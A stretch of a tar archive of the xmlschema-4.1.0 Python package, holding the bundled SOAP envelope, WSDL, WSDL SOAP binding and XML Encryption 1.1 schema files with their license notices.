/> <xs:complexType name="Name" > <xs:simpleContent> <xs:extension base="xs:Name" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="NMTOKEN" type="tns:NMTOKEN" /> <xs:complexType name="NMTOKEN" > <xs:simpleContent> <xs:extension base="xs:NMTOKEN" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="NCName" type="tns:NCName" /> <xs:complexType name="NCName" > <xs:simpleContent> <xs:extension base="xs:NCName" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="NMTOKENS" type="tns:NMTOKENS" /> <xs:complexType name="NMTOKENS" > <xs:simpleContent> <xs:extension base="xs:NMTOKENS" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="ID" type="tns:ID" /> <xs:complexType name="ID" > <xs:simpleContent> <xs:extension base="xs:ID" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="IDREF" type="tns:IDREF" /> <xs:complexType name="IDREF" > <xs:simpleContent> <xs:extension base="xs:IDREF" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="ENTITY" type="tns:ENTITY" /> <xs:complexType name="ENTITY" > <xs:simpleContent> <xs:extension base="xs:ENTITY" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="IDREFS" type="tns:IDREFS" /> <xs:complexType name="IDREFS" > <xs:simpleContent> <xs:extension base="xs:IDREFS" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="ENTITIES" type="tns:ENTITIES" /> <xs:complexType name="ENTITIES" > <xs:simpleContent> <xs:extension base="xs:ENTITIES" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="decimal" type="tns:decimal" /> <xs:complexType name="decimal" > <xs:simpleContent> <xs:extension base="xs:decimal" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="integer" type="tns:integer" /> <xs:complexType name="integer" > <xs:simpleContent> <xs:extension base="xs:integer" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="nonPositiveInteger" type="tns:nonPositiveInteger" /> <xs:complexType name="nonPositiveInteger" > <xs:simpleContent> <xs:extension base="xs:nonPositiveInteger" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="negativeInteger" type="tns:negativeInteger" /> <xs:complexType name="negativeInteger" > <xs:simpleContent> <xs:extension base="xs:negativeInteger" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="long" type="tns:long" /> <xs:complexType name="long" > <xs:simpleContent> <xs:extension base="xs:long" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="int" type="tns:int" /> <xs:complexType name="int" > <xs:simpleContent> <xs:extension base="xs:int" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="short" type="tns:short" /> <xs:complexType name="short" > <xs:simpleContent> <xs:extension base="xs:short" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="byte" type="tns:byte" /> <xs:complexType name="byte" > <xs:simpleContent> <xs:extension base="xs:byte" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="nonNegativeInteger" type="tns:nonNegativeInteger" /> <xs:complexType name="nonNegativeInteger" > <xs:simpleContent> <xs:extension base="xs:nonNegativeInteger" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="unsignedLong" type="tns:unsignedLong" /> <xs:complexType name="unsignedLong" > <xs:simpleContent> <xs:extension base="xs:unsignedLong" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="unsignedInt" type="tns:unsignedInt" /> <xs:complexType name="unsignedInt" > <xs:simpleContent> <xs:extension base="xs:unsignedInt" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="unsignedShort" type="tns:unsignedShort" /> <xs:complexType name="unsignedShort" > <xs:simpleContent> <xs:extension base="xs:unsignedShort" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="unsignedByte" type="tns:unsignedByte" /> <xs:complexType name="unsignedByte" > <xs:simpleContent> <xs:extension base="xs:unsignedByte" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="positiveInteger" type="tns:positiveInteger" /> <xs:complexType name="positiveInteger" > <xs:simpleContent> <xs:extension base="xs:positiveInteger" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="anyType" /> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/WSDL/soap-envelope.xsd��������������������������������������������0000664�0000000�0000000�00000013655�15020401055�0023151�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema for the SOAP/1.1 envelope Portions © 2001 DevelopMentor. © 2001 W3C (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. This document is governed by the W3C Software License [1] as described in the FAQ [2]. [1] http://www.w3.org/Consortium/Legal/copyright-software-19980720 [2] http://www.w3.org/Consortium/Legal/IPR-FAQ-20000620.html#DTD By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions: Permission to use, copy, modify, and distribute this software and its documentation, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make: 1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work. 2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © 2001 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/" 3. Notice of any changes or modifications to the W3C files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.) Original W3C files; http://www.w3.org/2001/06/soap-envelope Changes made: - reverted namespace to http://schemas.xmlsoap.org/soap/envelope/ - reverted mustUnderstand to only allow 0 and 1 as lexical values - made encodingStyle a global attribute 20020825 - removed default value from mustUnderstand attribute declaration THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION. The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://schemas.xmlsoap.org/soap/envelope/" targetNamespace="http://schemas.xmlsoap.org/soap/envelope/"> <!-- Envelope, header and body --> <xs:element name="Envelope" type="tns:Envelope"/> <xs:complexType name="Envelope"> <xs:sequence> <xs:element ref="tns:Header" minOccurs="0"/> <xs:element ref="tns:Body" minOccurs="1"/> <xs:any namespace="##other" minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:complexType> <xs:element name="Header" type="tns:Header"/> <xs:complexType name="Header"> <xs:sequence> <xs:any namespace="##other" minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:complexType> <xs:element name="Body" type="tns:Body"/> <xs:complexType name="Body"> <xs:sequence> <xs:any namespace="##any" minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:anyAttribute namespace="##any" processContents="lax"> <xs:annotation> <xs:documentation> Prose in the spec does not specify that attributes are allowed on the Body element </xs:documentation> </xs:annotation> </xs:anyAttribute> </xs:complexType> <!-- Global Attributes. The following attributes are intended to be usable via qualified attribute names on any complex type referencing them. --> <xs:attribute name="mustUnderstand"> <xs:simpleType> <xs:restriction base="xs:boolean"> <xs:pattern value="0|1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="actor" type="xs:anyURI"/> <xs:simpleType name="encodingStyle"> <xs:annotation> <xs:documentation> 'encodingStyle' indicates any canonicalization conventions followed in the contents of the containing element. For example, the value 'http://schemas.xmlsoap.org/soap/encoding/' indicates the pattern described in SOAP specification </xs:documentation> </xs:annotation> <xs:list itemType="xs:anyURI"/> </xs:simpleType> <xs:attribute name="encodingStyle" type="tns:encodingStyle"/> <xs:attributeGroup name="encodingStyle"> <xs:attribute ref="tns:encodingStyle"/> </xs:attributeGroup> <xs:element name="Fault" type="tns:Fault"/> <xs:complexType name="Fault" final="extension"> <xs:annotation> <xs:documentation> Fault reporting structure </xs:documentation> </xs:annotation> <xs:sequence> <xs:element name="faultcode" type="xs:QName"/> <xs:element name="faultstring" type="xs:string"/> <xs:element name="faultactor" type="xs:anyURI" minOccurs="0"/> <xs:element name="detail" type="tns:detail" minOccurs="0"/> </xs:sequence> </xs:complexType> <xs:complexType name="detail"> <xs:sequence> <xs:any namespace="##any" minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:anyAttribute namespace="##any" processContents="lax"/> </xs:complexType> </xs:schema>�����������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/WSDL/wsdl-soap.xsd������������������������������������������������0000664�0000000�0000000�00000013565�15020401055�0022305�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" ?> <!-- Copyright 2001 - 2005, International Business Machines Corporation and Microsoft Corporation All Rights Reserved License for WSDL Schema Files The Authors grant permission to copy and distribute the WSDL Schema Files in any medium without fee or royalty as long as this notice and license are distributed with them. The originals of these files can be located at: http://schemas.xmlsoap.org/wsdl/soap/2003-02-11.xsd THESE SCHEMA FILES ARE PROVIDED "AS IS," AND THE AUTHORS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THESE FILES, INCLUDING, BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT OR TITLE. THE AUTHORS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING TO ANY USE OR DISTRIBUTION OF THESE FILES. The name and trademarks of the Authors may NOT be used in any manner, including advertising or publicity pertaining to these files or any program or service that uses these files, written prior permission. Title to copyright in these files will at all times remain with the Authors. No other rights are granted by implication, estoppel or otherwise. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" targetNamespace="http://schemas.xmlsoap.org/wsdl/soap/" > <xs:import namespace = "http://schemas.xmlsoap.org/wsdl/" /> <xs:simpleType name="encodingStyle" > <xs:annotation> <xs:documentation> "encodingStyle" indicates any canonicalization conventions followed in the contents of the containing element. For example, the value "http://schemas.xmlsoap.org/soap/encoding/" indicates the pattern described in SOAP specification </xs:documentation> </xs:annotation> <xs:list itemType="xs:anyURI" /> </xs:simpleType> <xs:element name="binding" type="soap:tBinding" /> <xs:complexType name="tBinding" > <xs:complexContent> <xs:extension base="wsdl:tExtensibilityElement" > <xs:attribute name="transport" type="xs:anyURI" use="required" /> <xs:attribute name="style" type="soap:tStyleChoice" use="optional" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:simpleType name="tStyleChoice" > <xs:restriction base="xs:string" > <xs:enumeration value="rpc" /> <xs:enumeration value="document" /> </xs:restriction> </xs:simpleType> <xs:element name="operation" type="soap:tOperation" /> <xs:complexType name="tOperation" > <xs:complexContent> <xs:extension base="wsdl:tExtensibilityElement" > <xs:attribute name="soapAction" type="xs:anyURI" use="optional" /> <xs:attribute name="style" type="soap:tStyleChoice" use="optional" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="body" type="soap:tBody" /> <xs:attributeGroup name="tBodyAttributes" > <xs:attribute name="encodingStyle" type="soap:encodingStyle" use="optional" /> <xs:attribute name="use" type="soap:useChoice" use="optional" /> <xs:attribute name="namespace" type="xs:anyURI" use="optional" /> </xs:attributeGroup> <xs:complexType name="tBody" > <xs:complexContent> <xs:extension base="wsdl:tExtensibilityElement" > <xs:attribute name="parts" type="xs:NMTOKENS" use="optional" /> <xs:attributeGroup ref = "soap:tBodyAttributes" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:simpleType name="useChoice" > <xs:restriction base="xs:string" > <xs:enumeration value="literal" /> <xs:enumeration value="encoded" /> </xs:restriction> </xs:simpleType> <xs:element name="fault" type="soap:tFault" /> <xs:complexType name="tFaultRes" abstract="true" > <xs:complexContent> <xs:restriction base="soap:tBody" > <xs:attribute ref="wsdl:required" use="optional" /> <xs:attribute name="parts" type="xs:NMTOKENS" use="prohibited" /> <xs:attributeGroup ref="soap:tBodyAttributes" /> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="tFault" > <xs:complexContent> <xs:extension base="soap:tFaultRes"> <xs:attribute name="name" type="xs:NCName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="header" type="soap:tHeader" /> <xs:attributeGroup name="tHeaderAttributes" > <xs:attribute name="message" type="xs:QName" use="required" /> <xs:attribute name="part" type="xs:NMTOKEN" use="required" /> <xs:attribute name="use" type="soap:useChoice" use="required" /> <xs:attribute name="encodingStyle" type="soap:encodingStyle" use="optional" /> <xs:attribute name="namespace" type="xs:anyURI" use="optional" /> </xs:attributeGroup> <xs:complexType name="tHeader" > <xs:complexContent> <xs:extension base="wsdl:tExtensibilityElement" > <xs:sequence> <xs:element ref="soap:headerfault" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attributeGroup ref="soap:tHeaderAttributes" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="headerfault" type="soap:tHeaderFault" /> <xs:complexType name="tHeaderFault" > <xs:attributeGroup ref="soap:tHeaderAttributes" /> </xs:complexType> <xs:element name="address" type="soap:tAddress" /> <xs:complexType name="tAddress" > <xs:complexContent> <xs:extension base="wsdl:tExtensibilityElement" > <xs:attribute name="location" type="xs:anyURI" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>�������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/WSDL/wsdl.xsd�����������������������������������������������������0000664�0000000�0000000�00000027174�15020401055�0021346�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8" ?> <!-- Copyright 2001 - 2005, International Business Machines Corporation and Microsoft Corporation All Rights Reserved License for WSDL Schema Files The Authors grant permission to copy and distribute the WSDL Schema Files in any medium without fee or royalty as long as this notice and license are distributed with them. The originals of these files can be located at: http://schemas.xmlsoap.org/wsdl/2003-02-11.xsd THESE SCHEMA FILES ARE PROVIDED "AS IS," AND THE AUTHORS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THESE FILES, INCLUDING, BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT OR TITLE. THE AUTHORS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING TO ANY USE OR DISTRIBUTION OF THESE FILES. The name and trademarks of the Authors may NOT be used in any manner, including advertising or publicity pertaining to these files or any program or service that uses these files, written prior permission. Title to copyright in these files will at all times remain with the Authors. No other rights are granted by implication, estoppel or otherwise. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" targetNamespace="http://schemas.xmlsoap.org/wsdl/" elementFormDefault="qualified" > <xs:complexType mixed="true" name="tDocumentation" > <xs:sequence> <xs:any minOccurs="0" maxOccurs="unbounded" processContents="lax" /> </xs:sequence> </xs:complexType> <xs:complexType name="tDocumented" > <xs:annotation> <xs:documentation> This type is extended by component types to allow them to be documented </xs:documentation> </xs:annotation> <xs:sequence> <xs:element name="documentation" type="wsdl:tDocumentation" minOccurs="0" /> </xs:sequence> </xs:complexType> <xs:complexType name="tExtensibleAttributesDocumented" abstract="true" > <xs:complexContent> <xs:extension base="wsdl:tDocumented" > <xs:annotation> <xs:documentation> This type is extended by component types to allow attributes from other namespaces to be added. </xs:documentation> </xs:annotation> <xs:anyAttribute namespace="##other" processContents="lax" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tExtensibleDocumented" abstract="true" > <xs:complexContent> <xs:extension base="wsdl:tDocumented" > <xs:annotation> <xs:documentation> This type is extended by component types to allow elements from other namespaces to be added. </xs:documentation> </xs:annotation> <xs:sequence> <xs:any namespace="##other" minOccurs="0" maxOccurs="unbounded" processContents="lax" /> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="definitions" type="wsdl:tDefinitions" > <xs:key name="message" > <xs:selector xpath="wsdl:message" /> <xs:field xpath="@name" /> </xs:key> <xs:key name="portType" > <xs:selector xpath="wsdl:portType" /> <xs:field xpath="@name" /> </xs:key> <xs:key name="binding" > <xs:selector xpath="wsdl:binding" /> <xs:field xpath="@name" /> </xs:key> <xs:key name="service" > <xs:selector xpath="wsdl:service" /> <xs:field xpath="@name" /> </xs:key> <xs:key name="import" > <xs:selector xpath="wsdl:import" /> <xs:field xpath="@namespace" /> </xs:key> </xs:element> <xs:group name="anyTopLevelOptionalElement" > <xs:annotation> <xs:documentation> Any top level optional element allowed to appear more then once - any child of definitions element except wsdl:types. Any extensibility element is allowed in any place. </xs:documentation> </xs:annotation> <xs:choice> <xs:element name="import" type="wsdl:tImport" /> <xs:element name="types" type="wsdl:tTypes" /> <xs:element name="message" type="wsdl:tMessage" > <xs:unique name="part" > <xs:selector xpath="wsdl:part" /> <xs:field xpath="@name" /> </xs:unique> </xs:element> <xs:element name="portType" type="wsdl:tPortType" /> <xs:element name="binding" type="wsdl:tBinding" /> <xs:element name="service" type="wsdl:tService" > <xs:unique name="port" > <xs:selector xpath="wsdl:port" /> <xs:field xpath="@name" /> </xs:unique> </xs:element> </xs:choice> </xs:group> <xs:complexType name="tDefinitions" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:sequence> <xs:group ref="wsdl:anyTopLevelOptionalElement" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="targetNamespace" type="xs:anyURI" use="optional" /> <xs:attribute name="name" type="xs:NCName" use="optional" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tImport" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleAttributesDocumented" > <xs:attribute name="namespace" type="xs:anyURI" use="required" /> <xs:attribute name="location" type="xs:anyURI" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tTypes" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" /> </xs:complexContent> </xs:complexType> <xs:complexType name="tMessage" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:sequence> <xs:element name="part" type="wsdl:tPart" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tPart" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleAttributesDocumented" > <xs:attribute name="name" type="xs:NCName" use="required" /> <xs:attribute name="element" type="xs:QName" use="optional" /> <xs:attribute name="type" type="xs:QName" use="optional" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tPortType" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleAttributesDocumented" > <xs:sequence> <xs:element name="operation" type="wsdl:tOperation" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tOperation" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:sequence> <xs:choice> <xs:group ref="wsdl:request-response-or-one-way-operation" /> <xs:group ref="wsdl:solicit-response-or-notification-operation" /> </xs:choice> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required" /> <xs:attribute name="parameterOrder" type="xs:NMTOKENS" use="optional" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:group name="request-response-or-one-way-operation" > <xs:sequence> <xs:element name="input" type="wsdl:tParam" /> <xs:sequence minOccurs='0' > <xs:element name="output" type="wsdl:tParam" /> <xs:element name="fault" type="wsdl:tFault" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> </xs:sequence> </xs:group> <xs:group name="solicit-response-or-notification-operation" > <xs:sequence> <xs:element name="output" type="wsdl:tParam" /> <xs:sequence minOccurs='0' > <xs:element name="input" type="wsdl:tParam" /> <xs:element name="fault" type="wsdl:tFault" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> </xs:sequence> </xs:group> <xs:complexType name="tParam" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleAttributesDocumented" > <xs:attribute name="name" type="xs:NCName" use="optional" /> <xs:attribute name="message" type="xs:QName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tFault" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleAttributesDocumented" > <xs:attribute name="name" type="xs:NCName" use="required" /> <xs:attribute name="message" type="xs:QName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tBinding" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:sequence> <xs:element name="operation" type="wsdl:tBindingOperation" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required" /> <xs:attribute name="type" type="xs:QName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tBindingOperationMessage" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:attribute name="name" type="xs:NCName" use="optional" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tBindingOperationFault" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:attribute name="name" type="xs:NCName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tBindingOperation" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:sequence> <xs:element name="input" type="wsdl:tBindingOperationMessage" minOccurs="0" /> <xs:element name="output" type="wsdl:tBindingOperationMessage" minOccurs="0" /> <xs:element name="fault" type="wsdl:tBindingOperationFault" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tService" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:sequence> <xs:element name="port" type="wsdl:tPort" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="tPort" > <xs:complexContent> <xs:extension base="wsdl:tExtensibleDocumented" > <xs:attribute name="name" type="xs:NCName" use="required" /> <xs:attribute name="binding" type="xs:QName" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:attribute name="arrayType" type="xs:string" /> <xs:attribute name="required" type="xs:boolean" /> <xs:complexType name="tExtensibilityElement" abstract="true" > <xs:attribute ref="wsdl:required" use="optional" /> </xs:complexType> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XENC/�������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017626�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XENC/xenc-schema-11.xsd�������������������������������������������0000664�0000000�0000000�00000010410�15020401055�0022754�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Fallback schema for http://www.w3.org/2009/xmlenc11# namespace: - DTD commented out for processing the schema with the safe parser - Imports of other namespaces redirected to fallback schemas --> <!-- # # Copyright ©[2011] World Wide Web Consortium # (Massachusetts Institute of Technology, # European Research Consortium for Informatics and Mathematics, # Keio University). All Rights Reserved. # This work is distributed under the W3C® Software License [1] in the # hope that it will be useful, but WITHOUT ANY WARRANTY; without even # the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR # PURPOSE. # [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 # --> <!-- <!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "http://www.w3.org/2001/XMLSchema.dtd" [ <!ATTLIST schema xmlns:xenc CDATA #FIXED 'http://www.w3.org/2001/04/xmlenc#' xmlns:ds CDATA #FIXED 'http://www.w3.org/2000/09/xmldsig#' xmlns:xenc11 CDATA #FIXED 'http://www.w3.org/2009/xmlenc11#'> <!ENTITY xenc 'http://www.w3.org/2001/04/xmlenc#'> <!ENTITY % p ''> <!ENTITY % s ''> ]> --> <schema xmlns='http://www.w3.org/2001/XMLSchema' version='1.0' xmlns:xenc='http://www.w3.org/2001/04/xmlenc#' xmlns:xenc11='http://www.w3.org/2009/xmlenc11#' xmlns:ds='http://www.w3.org/2000/09/xmldsig#' targetNamespace='http://www.w3.org/2009/xmlenc11#' elementFormDefault='qualified'> <import namespace='http://www.w3.org/2000/09/xmldsig#' schemaLocation='../DSIG/xmldsig-core-schema.xsd'/> <import namespace='http://www.w3.org/2001/04/xmlenc#' schemaLocation='xenc-schema.xsd'/> <element name="ConcatKDFParams" type="xenc11:ConcatKDFParamsType"/> <complexType name="ConcatKDFParamsType"> <sequence> <element ref="ds:DigestMethod"/> </sequence> <attribute name="AlgorithmID" type="hexBinary"/> <attribute name="PartyUInfo" type="hexBinary"/> <attribute name="PartyVInfo" type="hexBinary"/> <attribute name="SuppPubInfo" type="hexBinary"/> <attribute name="SuppPrivInfo" type="hexBinary"/> </complexType> <element name="DerivedKey" type="xenc11:DerivedKeyType"/> <complexType name="DerivedKeyType"> <sequence> <element ref="xenc11:KeyDerivationMethod" minOccurs="0"/> <element ref="xenc:ReferenceList" minOccurs="0"/> <element name="DerivedKeyName" type="string" minOccurs="0"/> <element name="MasterKeyName" type="string" minOccurs="0"/> </sequence> <attribute name="Recipient" type="string" use="optional"/> <attribute name="Id" type="ID" use="optional"/> <attribute name="Type" type="anyURI" use="optional"/> </complexType> <element name="KeyDerivationMethod" type="xenc11:KeyDerivationMethodType"/> <complexType name="KeyDerivationMethodType"> <sequence> <any namespace="##any" minOccurs="0" maxOccurs="unbounded"/> </sequence> <attribute name="Algorithm" type="anyURI" use="required"/> </complexType> <element name="PBKDF2-params" type="xenc11:PBKDF2ParameterType"/> <complexType name="AlgorithmIdentifierType"> <sequence> <element name="Parameters" type="anyType" minOccurs="0"/> </sequence> <attribute name="Algorithm" type="anyURI" use="required" /> </complexType> <complexType name="PRFAlgorithmIdentifierType"> <complexContent> <restriction base="xenc11:AlgorithmIdentifierType"> <attribute name="Algorithm" type="anyURI" use="required" /> </restriction> </complexContent> </complexType> <complexType name="PBKDF2ParameterType"> <sequence> <element name="Salt"> <complexType> <choice> <element name="Specified" type="base64Binary"/> <element name="OtherSource" type="xenc11:AlgorithmIdentifierType"/> </choice> </complexType> </element> <element name="IterationCount" type="positiveInteger"/> <element name="KeyLength" type="positiveInteger"/> <element name="PRF" type="xenc11:PRFAlgorithmIdentifierType"/> </sequence> </complexType> <element name="MGF" type="xenc11:MGFType"/> <complexType name="MGFType"> <complexContent> <restriction base="xenc11:AlgorithmIdentifierType"> <attribute name="Algorithm" type="anyURI" use="required" /> </restriction> </complexContent> </complexType> </schema> 